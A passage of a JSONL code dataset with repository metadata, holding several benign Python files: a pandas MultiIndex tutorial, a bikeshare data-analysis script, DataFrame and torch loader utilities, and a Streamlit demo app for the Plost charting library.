proper rectangular array\r\n        assert isinstance(result, torch.Tensor)\r\n        assert np.array_equal(result.shape, (3, n_sample))\r\n        assert result.dtype == torch.int64\r\n", "meta": {"hexsha": "fe18a1aa0399abc5f0be0d8eb65da62473a8c9ff", "size": 52300, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/interfaces/test_batch_torch_qnode.py", "max_stars_repo_name": "KarimAED/pennylane", "max_stars_repo_head_hexsha": "d201dd52def0dfa44efd485e06ea06defda22dc0", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/interfaces/test_batch_torch_qnode.py", "max_issues_repo_name": "KarimAED/pennylane", "max_issues_repo_head_hexsha": "d201dd52def0dfa44efd485e06ea06defda22dc0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/interfaces/test_batch_torch_qnode.py", "max_forks_repo_name": "KarimAED/pennylane", "max_forks_repo_head_hexsha": "d201dd52def0dfa44efd485e06ea06defda22dc0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.0363636364, "max_line_length": 101, "alphanum_fraction": 0.5539770554, "include": true, "reason": "import numpy", "num_tokens": 13825, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10818896606387247, "lm_q1q2_score": 0.05409448303193624}}
{"text": "# MULTI-INDEX DATAFRAMES IN PANDAS (AKA: \"INDEX-HIGHER KEY\" )\n# Santiago Garcia Arango, June 2020\n\nimport numpy as np\nimport pandas as pd\n\n\n# ---------------MULTI-INDEX DATAFRAME PANDAS--------------------\n# With Pandas, we can achieve a multi-level indexing layout, where...\n# ... the DataFrame has N levels of indexing. This is really usefull...\n# ... when working with multiple parameters and sub-parameters of info.\n\n# First index level (that will contain the second one)...\noutside = [\"G1\", \"G1\", \"G1\", \"G2\", \"G2\", \"G2\", \"G3\", \"G3\", \"G3\"]  # List 1\n\n# Second index level (that are \"inside\" the First index level)...\ninside = [1, 2, 3, 1, 2, 3, 1, 2, 3]  # List 2\n\n\n# We create the \"interconnection\" of these two index levels...\n# Remark: this must be done in a list of tuples (to work properly)\nh_index = list(zip(outside, inside))  # List of both lists (in tuples)\nh_index = pd.MultiIndex.from_tuples(h_index)  # Create MultiIndex DF\nprint(\"h_index =\\n\", h_index, \"\\n\")\n\n\n# Now, we can go ahead and create the MultiIndex Dataframe...\ndata_frame = pd.DataFrame(np.random.randn(9, 3), h_index, ['A', 'B', 'C'])\nprint(\"data_frame =\\n\", data_frame, \"\\n\")\n\n# Extra/optional step (naming the index-levels)...\ndata_frame.index.names = [\"Groups\", \"Numbers\"]\nprint(\"data_frame (with index names) =\\n\", data_frame, \"\\n\")\n\n\n# -------------SEARCHING FOR MULTI-INDEX DATAFRAMES----------------\n# Searching first index level...\n#  1) First way of doing this (access corresponding index):\nprint(\"data_frame.loc['G1']=\\n\", data_frame.loc['G1'], \"\\n\")\n#  2) Second way of doing this (access cross_section of index):\nprint(\"data_frame.xs('G1')=\\n\", data_frame.xs('G1'), \"\\n\")\n\n\n# Searching second index level...\nprint(\"data_frame.loc['G1'].loc[1]=\\n\", data_frame.loc['G1'].loc[1], \"\\n\")\n\n\n# Searching general condition for a \"N level\" index...\n# Note: will search in Any 1st level, only focusing on 2nd level condition\nprint(\"data_frame.xs(2, level='Numbers') =\")\nprint(data_frame.xs(2, level='Numbers'))\n", "meta": {"hexsha": "9dd922143ba2007db194980ee4c54ff91a3fd48d", "size": 1993, "ext": "py", "lang": "Python", "max_stars_repo_path": "00_LIBRARIES/01_PANDAS/02_pandas_dataframes_2.py", "max_stars_repo_name": "san99tiago/ML_BASICS", "max_stars_repo_head_hexsha": "ebd51827f7dd427c848b5c8e1d4bfd017d2fb56f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-03-18T06:07:09.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-08T22:14:14.000Z", "max_issues_repo_path": "00_LIBRARIES/01_PANDAS/02_pandas_dataframes_2.py", "max_issues_repo_name": "san99tiago/ML_BASICS", "max_issues_repo_head_hexsha": "ebd51827f7dd427c848b5c8e1d4bfd017d2fb56f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "00_LIBRARIES/01_PANDAS/02_pandas_dataframes_2.py", "max_forks_repo_name": "san99tiago/ML_BASICS", "max_forks_repo_head_hexsha": "ebd51827f7dd427c848b5c8e1d4bfd017d2fb56f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.3269230769, "max_line_length": 74, "alphanum_fraction": 0.6648268941, "include": true, "reason": "import numpy", "num_tokens": 587, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10818895671865816, "lm_q1q2_score": 0.05409447835932908}}
{"text": "import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('\\nHello! Let\\'s explore some US bikeshare data!\\n')\n    \n    # get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n    while True:\n        city = str(input('Please enter a city to analyze (Chicago, New Yor City, Washington): ')).lower()\n        # checking, if the correct selection is entered\n        if city in ('chicago', 'new york city', 'washington'):\n            break\n        else:\n            print('Wrong entry. Please enter the name of the cities.')\n\n    # get user input for month (all, january, february, ... , june)\n    while True:\n        month = str(input('Enter a month to filter for (all, january, february, ... , june): ')).lower()\n        # checking, if the correct selection is entered\n        if month in ('all', 'january', 'february', 'march', 'april', 'may', 'june'):\n            break\n        else:\n            print('Wrong entry. Please enter the name of a month.')\n\n    # get user input for day of week (all, monday, tuesday, ... sunday)\n    while True:\n        day = str(input('Enter a day to filter for (all, monday, tuesday, ... sunday): ')).lower()\n        # checking, if the correct selection is entered\n        if day in ('all', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday'):\n            break\n        else:\n            print('Wrong entry. Please enter the name of a day.')\n            \n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    # load data file into a dataframe\n    df = pd.read_csv(CITY_DATA[city])\n\n    # convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n    # extract month and day of week from Start Time to create new columns\n    df['month'] = df['Start Time'].dt.month_name\n    df['day'] = df['Start Time'].dt.weekday_name\n\n\n    # filter by month if applicable\n    if month != 'all':\n        # use the index of the months list to get the corresponding int\n        months = ['january', 'february', 'march', 'april', 'may', 'june']\n        month = months.index(month) + 1\n    \n        # filter by month to create the new dataframe\n        df = df[df['month'] == month]\n\n    # filter by day of week if applicable\n    if day != 'all':\n        # filter by day of week to create the new dataframe\n        df = df[df['day'] == day.title()]\n\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # display the most common month\n    print('The most common month is: ', df['month'].mode()[0])\n\n    # display the most common day of week\n    print('The most common day of the week is: ', df['day'].mode()[0])\n\n    # display the most common start hour\n    df['hour'] = df['Start Time'].dt.hour\n    print('The most common start hour is: ', df['hour'].mode()[0])\n\n    print(\"\\nThis took %s seconds.\" % round((time.time() - start_time), 2))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # display most commonly used start station\n    print('Most commonly used start station: ', df['Start Station'].mode()[0])\n\n    # display most commonly used end station\n    print('Most commonly used end station: ', df['End Station'].mode()[0])\n\n    # display most frequent combination of start station and end station trip\n    df['Start to End Station'] = df['Start Station'] + ' to ' + df['End Station']\n    print('Most frequent combination of start station and end station trip: ', df['Start to End Station'].mode()[0])\n\n    print(\"\\nThis took %s seconds.\" % round((time.time() - start_time), 2))\n    print('-'*40)\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n    df['End Time'] = pd.to_datetime(df['End Time'])\n    df['Travel Time'] = df['End Time'] - df['Start Time']\n\n    # display total travel time\n    print('Total travel time: ', df['Travel Time'].sum())\n\n    # display mean travel time\n    print('Mean travel time: ', df['Travel Time'].mean())\n\n    print(\"\\nThis took %s seconds.\" % round((time.time() - start_time), 2))\n    print('-'*40)\n\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # Display counts of user types\n    if 'User Type' in df.columns:\n        print('Counts of user types:')\n        print(df['User Type'].value_counts())\n    else:\n        print('\\nNo user tpye data collected.\\n')\n\n    # Display counts of gender\n    if 'Gender' in df.columns:\n        print('\\nCounts of gender:')\n        print(df['Gender'].value_counts())\n    else:\n        print('\\nNo gender data collected.\\n')\n\n    # Display earliest, most recent, and most common year of birth\n    if 'Birth Year' in df.columns:\n        print('\\nEarliest year of birth: ', int(df['Birth Year'].min()))\n        print('\\nMost recent year of birth: ', int(df['Birth Year'].max()))\n        print('\\nMost common year of birth: ', int(df['Birth Year'].mode()[0]))\n    else:\n        print('\\nNo birth year collected.\\n')\n\n    print(\"\\nThis took %s seconds.\" % round((time.time() - start_time), 2))\n    print('-'*40)\n\n\ndef raw_data(df):\n    \"\"\"Displays the raw data, if user enters 'y' or doesn't display, if user enters 'n'\"\"\"\n\n    counter = 0\n\n    while True:\n        show_data = str(input('\\nWould you like to see the raw data (yes/no)?\\n')).lower()\n        if show_data in ('yes'):\n            print(df[:][counter:counter+5])\n            counter += 5\n        elif show_data in ('no'):\n            break\n        else:\n            print('Wrong entry.')\n\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df)\n        raw_data(df)\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()", "meta": {"hexsha": "ddd6dbf0e4db6308040b782d87aaa3d62b7f52b8", "size": 7295, "ext": "py", "lang": "Python", "max_stars_repo_path": "bikeshare.py", "max_stars_repo_name": "HolgerSpernau/pdsnd-python", "max_stars_repo_head_hexsha": "84dd51d14ac4160c27a8e2b64b0521e21ff64307", "max_stars_repo_licenses": ["CNRI-Python"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bikeshare.py", "max_issues_repo_name": "HolgerSpernau/pdsnd-python", "max_issues_repo_head_hexsha": "84dd51d14ac4160c27a8e2b64b0521e21ff64307", "max_issues_repo_licenses": ["CNRI-Python"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bikeshare.py", "max_forks_repo_name": "HolgerSpernau/pdsnd-python", "max_forks_repo_head_hexsha": "84dd51d14ac4160c27a8e2b64b0521e21ff64307", "max_forks_repo_licenses": ["CNRI-Python"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.2488262911, "max_line_length": 116, "alphanum_fraction": 0.6075394106, "include": true, "reason": "import numpy", "num_tokens": 1836, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10818895528093296, "lm_q1q2_score": 0.05409447764046648}}
{"text": "\"\"\"\nUtility functions for working with DataFrames\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\nTEST_DF = pd.DataFrame([1, 2, 3], [4, np.NaN, 2])\n\n\n# create utility functions for assignment\n\ndef nulls(df):\n    \"\"\"Take a DataFrame and outputs a new df of NaN sums by column.\"\"\"\n    return pd.DataFrame(df.isna().sum())\n\n\ndef display_settings(rows, columns):\n    \"\"\"Change the df display settings in a notebook.\"\"\"\n    pd.set_option('display.max_rows', rows)\n    pd.set_option('display.max_columns', columns)\n    print('Display options change complete.')\n", "meta": {"hexsha": "74249dcf7579510b074734e3639c6186179cc7c0", "size": 552, "ext": "py", "lang": "Python", "max_stars_repo_path": "lambdata_lorischl_otter/df_utils.py", "max_stars_repo_name": "lorischl-otter/lambdata", "max_stars_repo_head_hexsha": "f442d5cbb9ff47a83f7e283c1cec1e6cf1cbe177", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lambdata_lorischl_otter/df_utils.py", "max_issues_repo_name": "lorischl-otter/lambdata", "max_issues_repo_head_hexsha": "f442d5cbb9ff47a83f7e283c1cec1e6cf1cbe177", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-01-15T16:32:43.000Z", "max_issues_repo_issues_event_max_datetime": "2020-01-15T16:32:43.000Z", "max_forks_repo_path": "lambdata_lorischl_otter/df_utils.py", "max_forks_repo_name": "lorischl-otter/lambdata", "max_forks_repo_head_hexsha": "f442d5cbb9ff47a83f7e283c1cec1e6cf1cbe177", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-01-15T15:50:09.000Z", "max_forks_repo_forks_event_max_datetime": "2020-01-15T15:50:09.000Z", "avg_line_length": 24.0, "max_line_length": 70, "alphanum_fraction": 0.6974637681, "include": true, "reason": "import numpy", "num_tokens": 129, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10818895024889484, "lm_q1q2_score": 0.05409447512444742}}
{"text": "\"\"\"\nData loader for torch.\n\"\"\"\n# Author: Arturs Berzins <berzins@cats.rwth-aachen.de>\n# License: BSD 3 clause\n\nimport torch\nimport torch.utils.data\n\ndef create_loader(features_np, targets_np, batch_size, shuffle):\n    # https://stackoverflow.com/questions/41924453/pytorch-how-to-use-dataloaders-for-custom-datasets\n\n    # Convert from numpy array to torch tensor\n    features = torch.from_numpy(features_np).float()\n    targets = torch.from_numpy(targets_np).float()\n    \n    # Create dataset from torch tensors\n    dataset = torch.utils.data.TensorDataset(features, targets)\n    \n    # Create data loader\n    loader = torch.utils.data.DataLoader(dataset, batch_size = batch_size, shuffle=shuffle, num_workers=0)\n    return loader\n", "meta": {"hexsha": "fd07d2ef081c38b4687c7818a307552fdc607257", "size": 732, "ext": "py", "lang": "Python", "max_stars_repo_path": "models/FNN/data_loader.py", "max_stars_repo_name": "arturs-berzins/sniROM", "max_stars_repo_head_hexsha": "da3d0edd8c3b4dd4478c30e2585533a4de13dc2e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2020-12-02T09:15:34.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T03:56:50.000Z", "max_issues_repo_path": "models/FNN/data_loader.py", "max_issues_repo_name": "arturs-berzins/sniROM", "max_issues_repo_head_hexsha": "da3d0edd8c3b4dd4478c30e2585533a4de13dc2e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "models/FNN/data_loader.py", "max_forks_repo_name": "arturs-berzins/sniROM", "max_forks_repo_head_hexsha": "da3d0edd8c3b4dd4478c30e2585533a4de13dc2e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2021-03-01T14:17:58.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-15T04:01:12.000Z", "avg_line_length": 31.8260869565, "max_line_length": 106, "alphanum_fraction": 0.7404371585, "include": true, "reason": "from numpy", "num_tokens": 172, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.5, "lm_q2_score": 0.10818894881116972, "lm_q1q2_score": 0.05409447440558486}}
{"text": "import streamlit as st\nimport numpy as np\nimport pandas as pd\nimport plost\n\nst.set_page_config(page_title='Plost', page_icon=':tomato:')\n\n\"\"\"\n# \ud83c\udf45 Plost\n\nA deceptively simple plotting library for [Streamlit](https://github.com/streamlit/streamlit).\n\n_\u201cBecause you've been writing plots wrong all this time\u201d_\n\nBelow you'll find documentation and live examples showing how to use Plost. Of course,\nthe first step is:\n\n```\npip install streamlit\npip install plost\n```\n\n---\n\n## Basics\n\nPlost makes it easy to build common plots using the\n[Vega-Lite](https://vega.github.io/vega-lite/)\nlibrary but without having to delve into Vega-Lite specs (unless you're doing\nsomething tricky), and without having to melt your DataFrame from long format to wide\nformat (the bane of most Vega-Lite plots!)\n\nFor example, let's say you have a \"long-format\" table like this:\n\n| time | stock_name | stock_value |\n|------|------------|-------------|\n| ...  | stock1     | 1           |\n| ...  | stock2     | 2           |\n| ...  | stock1     | 100         |\n| ...  | stock2     | 200         |\n\n\nThen you can draw a line chart by simply calling `line_chart()` with some\ncolumn names:\n\n```python\nimport plost\n\nplost.line_chart(\n  my_dataframe,\n  x='time',  # The name of the column to use for the x axis.\n  y='stock_value',  # The name of the column to use for the data itself.\n  color='stock_name', # The name of the column to use for the line colors.\n)\n```\n\nSimple enough! But what if you instead have a \"wide-format\" table like this, which is\nsuper common in reality:\n\n| time | stock1 | stock2 |\n|------|--------|--------|\n| ...  | 1      | 100    |\n| ...  | 2      | 200    |\n\nNormally you'd have to `melt()` the table with Pandas first or create a complex\nVega-Lite layered plot. But with Plost, you can just specify what you're trying\nto accomplish and it will melt the data internally for you:\n\n```python\nimport plost\n\nplost.line_chart(\n  my_dataframe,\n  x='time',\n  y=('stock1', 'stock2'),  # \ud83d\udc48 This is magic!\n)\n```\n\nOk, now let's add a mini-map to make panning/zooming even easier:\n\n\n```python\nimport plost\n\nplost.line_chart(\n  my_dataframe,\n  x='time',\n  y=('stock1', 'stock2'),\n  pan_zoom='minimap',  # \ud83d\udc48 This is magic!\n)\n```\n\nBut we're just scratching the surface. Basically the idea is that Plost allows\nyou to make beautiful Vega-Lite-driven charts for your most common needs, without\nhaving to learn about the powerful yet complex language behind Vega-Lite.\n\"\"\"\n\n@st.cache\ndef get_datasets():\n    N = 50\n    rand = pd.DataFrame()\n    rand['a'] = np.arange(N)\n    rand['b'] = np.random.rand(N)\n    rand['c'] = np.random.rand(N)\n\n    N = 500\n    events = pd.DataFrame()\n    events['time_delta_s'] = np.random.randn(N)\n    events['servers'] = np.random.choice(['server 1', 'server 2', 'server 3'], N)\n\n    N = 500\n    randn = pd.DataFrame(\n        np.random.randn(N, 4),\n        columns=['a', 'b', 'c', 'd'],\n    )\n\n    stocks = pd.DataFrame(dict(\n        company=['goog', 'fb', 'ms', 'amazon'],\n        q2=[4, 6, 8, 2],\n        q3=[2, 5, 2, 6],\n    ))\n\n    N = 200\n    pageviews = pd.DataFrame()\n    pageviews['pagenum'] = [f'page-{i:03d}' for i in range(N)]\n    pageviews['pageviews'] = np.random.randint(0, 1000, N)\n\n    return dict(\n        rand=rand,\n        randn=randn,\n        events=events,\n        pageviews=pageviews,\n        stocks=stocks,\n        seattle_weather=pd.read_csv('./data/seattle-weather.csv', parse_dates=['date']),\n        sp500=pd.read_csv('./data/sp500.csv', parse_dates=['date']),\n    )\n\n\ndatasets = get_datasets()\n\n\"\"\"\n---\n\n## Datasets used for these examples\n\nLet's say you have some datasets like these:\n\"\"\"\n\ndataset_name = st.selectbox(\"Datasets\", datasets)\nst.write(datasets[dataset_name])\n\n\"Where the columns have the following types:\"\n\ndatasets[dataset_name].dtypes.to_dict(),\n\n\"\"\"\nNow let's take this data and go _plost_ some _plosts_!\n\n---\n\n## The basics\n\"\"\"\n\n\"### line_chart()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.line_chart)\n\n\"\"\n\nwith st.echo():\n    plost.line_chart(\n        data=datasets['seattle_weather'],\n        x='date',\n        y='temp_max')\n\n\"\"\n\nwith st.echo():\n    plost.line_chart(\n        data=datasets['seattle_weather'],\n        x='date',\n        y=('temp_max', 'temp_min'))\n\n\"---\"\n\n\"### area_chart()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.area_chart)\n\"\"\n\nwith st.echo():\n    plost.area_chart(\n        data=datasets['rand'],\n        x='a',\n        y=('b', 'c'))\n\n\"\"\n\nwith st.echo():\n    plost.area_chart(\n        data=datasets['rand'],\n        x='a',\n        y=('b', 'c'),\n        opacity=0.5,\n        stack=False)\n\n\"\"\n\nwith st.echo():\n    plost.area_chart(\n        data=datasets['rand'],\n        x='a',\n        y=('b', 'c'),\n        stack='normalize')\n\n\"---\"\n\n\"### bar_chart()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.bar_chart)\n\"\"\n\nwith st.echo():\n    plost.bar_chart(\n        data=datasets['stocks'],\n        bar='company',\n        value='q2')\n\n\"\"\n\nwith st.echo():\n    plost.bar_chart(\n        data=datasets['stocks'],\n        bar='company',\n        value='q2',\n        direction='horizontal')\n\n\"\"\n\nwith st.echo():\n    plost.bar_chart(\n        data=datasets['stocks'],\n        bar='company',\n        value=['q2', 'q3'],\n    )\n\n\"\"\n\nwith st.echo():\n    plost.bar_chart(\n        data=datasets['stocks'],\n        bar='company',\n        value=['q2', 'q3'],\n        stack='normalize')\n\n\"\"\n\nwith st.echo():\n    plost.bar_chart(\n        data=datasets['stocks'],\n        bar='company',\n        value=['q2', 'q3'],\n        group=True)\n\"\"\n\nwith st.echo():\n    plost.bar_chart(\n        data=datasets['stocks'],\n        bar='company',\n        value=['q2', 'q3'],\n        group='value',\n        color='company',\n        legend=None,\n    )\n\n\"---\"\n\n\"### pie_chart()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.pie_chart)\n\"\"\n\nwith st.echo():\n    plost.pie_chart(\n        data=datasets['stocks'],\n        theta='q2',\n        color='company')\n\n\"---\"\n\n\"### donut_chart()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.donut_chart)\n\"\"\n\nwith st.echo():\n    plost.donut_chart(\n        data=datasets['stocks'],\n        theta='q2',\n        color='company')\n\n\"---\"\n\n\"### scatter_chart()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.scatter_chart)\n\"\"\n\nwith st.echo():\n    plost.scatter_chart(\n        data=datasets['randn'],\n        x='a',\n        y='b',\n        size='c',\n        opacity='b',\n        height=500)\n\n\"\"\n\nwith st.echo():\n    plost.scatter_chart(\n        data=datasets['randn'],\n        x='a',\n        y=['b', 'c'],\n        size='d',\n        height=500)\n\n\"---\"\n\n\"### event_chart()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.event_chart)\n\"\"\n\nwith st.echo():\n    plost.event_chart(\n        data=datasets['events'],\n        x='time_delta_s',\n        y='servers')\n\n\"\"\n\nwith st.echo():\n    plost.event_chart(\n        data=datasets['events'],\n        x='time_delta_s',\n        y='servers',\n        color='servers',\n        legend=None)\n\n\"\"\"\n---\n\n## Histograms\n\"\"\"\n\n\"### hist()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.hist)\n\"\"\n\nwith st.echo():\n    plost.hist(\n        data=datasets['randn'],\n        x='a',\n        aggregate='count')\n\n\"\"\n\nwith st.echo():\n    plost.hist(\n        data=datasets['seattle_weather'],\n        x='date',\n        y='temp_max',\n        aggregate='median')\n\n\"---\"\n\n\"### time_hist()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.time_hist)\n\"\"\n\nwith st.echo():\n    plost.time_hist(\n        data=datasets['seattle_weather'],\n        date='date',\n        x_unit='week',\n        y_unit='day',\n        color='temp_max',\n        aggregate='median',\n        legend=None,\n    )\n\n\"---\"\n\n\"### xy_hist()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.xy_hist)\n\"\"\n\nwith st.echo():\n    plost.xy_hist(\n        data=datasets['randn'],\n        x='a',\n        y='b',\n    )\n\n\"---\"\n\nwith st.echo():\n    plost.xy_hist(\n        data=datasets['randn'],\n        x='a',\n        y='b',\n        x_bin=dict(maxbins=20),\n        y_bin=dict(maxbins=20),\n        height=400,\n    )\n\n\"---\"\n\n\"\"\"\nWoah, double histogram :rainbow:\n\"\"\"\n\n\"### scatter_hist()\"\n\nwith st.expander('Documentation'):\n    st.write(plost.scatter_hist)\n\"\"\n\nwith st.echo():\n    plost.scatter_hist(\n        data=datasets['randn'],\n        x='a',\n        y='b',\n        size='c',\n        color='c',\n        opacity=0.5,\n        aggregate='count',\n        width=500,\n        height=500)\n\n\"\"\"\n---\n\n# Advanced features\n\n## Vega-Lite encoding dicts\n\nYou can use [Vega-Lite encoding dicts](https://vega.github.io/vega-lite/docs/encoding.html) for\nthe `x`, `y`, `color`, `size`, and `opacity` arguments to do all sorts of fun things. For example,\nthe chart below is computing the mean of the `y` values, grouped by month.\n\"\"\"\n\nwith st.echo():\n    plost.area_chart(\n        data=datasets['seattle_weather'],\n        x=dict(field='date', timeUnit='month'),\n        y=dict(field='temp_max', aggregate='mean'),\n        color='weather',\n    )\n\n\"\"\"\nPlost also supports [Altair-style\nshorthands](https://altair-viz.github.io/user_guide/encoding.html#encoding-data-types), like\n\"column_name:T\" for temporal.\n\"\"\"\n\n\"\"\"\n---\n\n## Annotations\n\nUse `x_annot` and `y_annot` to add vertical or horizontal lines with annotations:\n\"\"\"\n\nwith st.echo():\n    plost.area_chart(\n        data=datasets['rand'],\n        x='a',\n        y=('b', 'c'),\n        x_annot={\n            12: \"This is when things became random\",\n            33: \"Actually they were always random. Back to normal now.\",\n        },\n    )\n\n\n\"\"\"\n---\n\n## Minimaps\n\nYou can add a minimap to many of the charts above my simply passing `pan_zoom='minimap'`.\n\"\"\"\n\nwith st.echo():\n    plost.line_chart(\n        data=datasets['sp500'],\n        x='date',\n        y='price',\n        width=500,\n        pan_zoom='minimap')\n\n\"---\"\n\nwith st.echo():\n    plost.area_chart(\n        data=datasets['sp500'],\n        x='date',\n        y='price',\n        width=500,\n        pan_zoom='minimap')\n\n\"---\"\n\nwith st.echo():\n    plost.scatter_chart(\n        data=datasets['randn'],\n        x='a',\n        y='b',\n        size='c',\n        opacity='b',\n        width=500,\n        height=500,\n        pan_zoom='minimap')\n\n\"---\"\n\nwith st.echo():\n    plost.bar_chart(\n        data=datasets['pageviews'],\n        bar='pagenum',\n        value='pageviews',\n        width=500,\n        pan_zoom='minimap')\n\n\"---\"\n\nwith st.echo():\n    plost.bar_chart(\n        data=datasets['pageviews'],\n        bar='pagenum',\n        value='pageviews',\n        direction='horizontal',\n        width=500,\n        height=500,\n        pan_zoom='minimap')\n\n\"\"\n\"\"\n\"\"\n\"\"\n\"\ud83c\udf45\"\n", "meta": {"hexsha": "d00dc35d2a9186c741f3c077888bfd9511ff9291", "size": 10566, "ext": "py", "lang": "Python", "max_stars_repo_path": "streamlit_app.py", "max_stars_repo_name": "jrieke/plost", "max_stars_repo_head_hexsha": "45a51f6bb51fd2a8087b65d021eb1dad4cf6c563", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 145, "max_stars_repo_stars_event_min_datetime": "2021-08-23T16:35:10.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-12T08:44:06.000Z", "max_issues_repo_path": "streamlit_app.py", "max_issues_repo_name": "jrieke/plost", "max_issues_repo_head_hexsha": "45a51f6bb51fd2a8087b65d021eb1dad4cf6c563", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2021-11-08T23:53:19.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-24T21:25:03.000Z", "max_forks_repo_path": "streamlit_app.py", "max_forks_repo_name": "jrieke/plost", "max_forks_repo_head_hexsha": "45a51f6bb51fd2a8087b65d021eb1dad4cf6c563", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2021-10-08T12:15:32.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-13T15:06:06.000Z", "avg_line_length": 18.6349206349, "max_line_length": 98, "alphanum_fraction": 0.5686163165, "include": true, "reason": "import numpy", "num_tokens": 2800, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.5, "lm_q2_score": 0.10818894593571948, "lm_q1q2_score": 0.05409447296785974}}
